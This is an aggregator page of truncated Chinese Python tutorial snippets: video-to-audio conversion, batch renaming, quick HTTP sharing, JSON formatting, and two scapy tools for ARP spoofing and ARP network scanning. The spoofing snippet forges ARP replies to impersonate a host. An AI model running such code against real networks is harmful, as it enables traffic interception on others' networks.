【有哪些你不知道的Python小工具】教程文章相关的互联网学习教程文章

Python小工具:利用ffmpy3库3秒钟将视频转换为音频【代码】【图】

作者 | pk 哥 来源公众号 | Python知识圈(ID:PythonCircle) 最近,有读者微信上私聊我,想让我写一篇视频批量转换成音频的文章,我答应了,周末宅家里把这个小工具做出来了。 这样,对于有些视频学习文件,我们可以批量转换成音频文件,学习方式更多样化了。 之前也用过 ffmpeg 处理视频文件。ffmpeg 这个程序处理视频是好用,但是有没有更轻便的呢?可以不下载这个程序吗? 还真有,Python 里有 ffmpeg 相关的库:ffmpy3。 ffm...

python 小工具 重命名当前文件夹内所有的文件,升序命名【图】

背景:一个朋友想升序重命名他的照片,但是太多了不想手动所以,emememem os这个模块,不用说,rename,filedir等 #conding=utf8 import os path = os.walk(rC:\photo) filecount = 0 for path,dir_list,file_list in path:   for file_name in file_list:     os.rename(os.path.join(path, file_name),os.path.join(path, str(filecount)+".jpg"))     filecount=filecount+1 直接重名效果...

Python学习之旅:用Python制作一个打字训练小工具【代码】【图】

一、写在前面 说道程序员,你会想到什么呢?有人认为程序员象征着高薪,有人认为程序员都是死肥宅,还有人想到的则是996和 ICU。别人眼中的程序员:飞快的敲击键盘、酷炫的切换屏幕、各种看不懂的字符代码。 然而现实中的程序员呢?对于很多程序员来说,没有百度和 Google 解决不了的问题,也没有 ctrl + c 和 ctrl + v 实现不了的功能。那么身为一个程序员,要怎么让自己看起来更加“专业”呢?答案就是加快自己的打字速度了,敲的...

你不知道的Python小工具,能让你的Python工作更有效率【代码】【图】

python作为越来越流行的一种编程语言,不仅仅是因为它语言简单,有许多现成的包可以直接调用。 python中还有大量的小工具,让你的python工作更有效率。 1、- 快速共享 - HTTP服务器 SimpleHTTPServer是python内置的web服务器,使用8000端口和HTTP协议共享。 能够在任意平台(Window,Linux,MacOS)快速搭建一个HTTP服务和共享服务,只需要搭建好python环境。 python2版本: python -m SimpleHTTPServer python3版本: python -m h...

有哪些你不知道的python小工具【代码】

python作为越来越流行的一种编程语言,不仅仅是因为它语言简单,有许多现成的包可以直接调用。 python中还有大量的小工具,让你的python工作更有效率。 1、- 快速共享 - HTTP服务器 SimpleHTTPServer是python内置的web服务器,使用8000端口和HTTP协议共享。 能够在任意平台(Window,Linux,MacOS)快速搭建一个HTTP服务和共享服务,只需要搭建好python环境。 python2版本:python -m SimpleHTTPServer python3版本:python -m h...

Python3 小工具-ARP欺骗【图】

在kali中使用 from scapy.all import * import optparse import osdef send(pkt,interface):for p in pkt:sendp(p,iface=interface)def req(targets,source):for target in targets:tr_mac=getmacbyip(target)pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)yield pktdef rep(targets,source):for target in targets:tr_mac=getmacbyip(target)pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)yield pktdef main():p...

Python3 小工具-ARP扫描【图】

from scapy.all import * import optparse import threading import osdef scan(ipt):pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ipt)res=srp1(pkt,timeout=0.1,verbose=0)if res:print(ipt,' is online')def main():parser=optparse.OptionParser('%prog'+"-t <target> -f <filename>")parser.add_option('-t',dest='target',type='string',help='Target')parser.add_option('-f',dest='fil',type='string',help='File')(optio...

分享一个 Linux 环境下,强力的Python 小工具【代码】

场景Linux 用户,经常需要在终端查看一些数据,从文件里看 或者网络协议获取数据并查看。 比如,查看文件里的json数据;比如,查看etcd里存下的数据。 如果直接看cat 或者 curl 得到的数据,如果格式乱掉了 会很痛苦的,而python 的 json.tool 可以在终端里 把得到的数据格式化。 形如: cat json.file | python -m json.tool用法及示例 # 终端操作 ,vim json.file# 写入 如下内容: { "code": 0,"data": "fine","error": "s...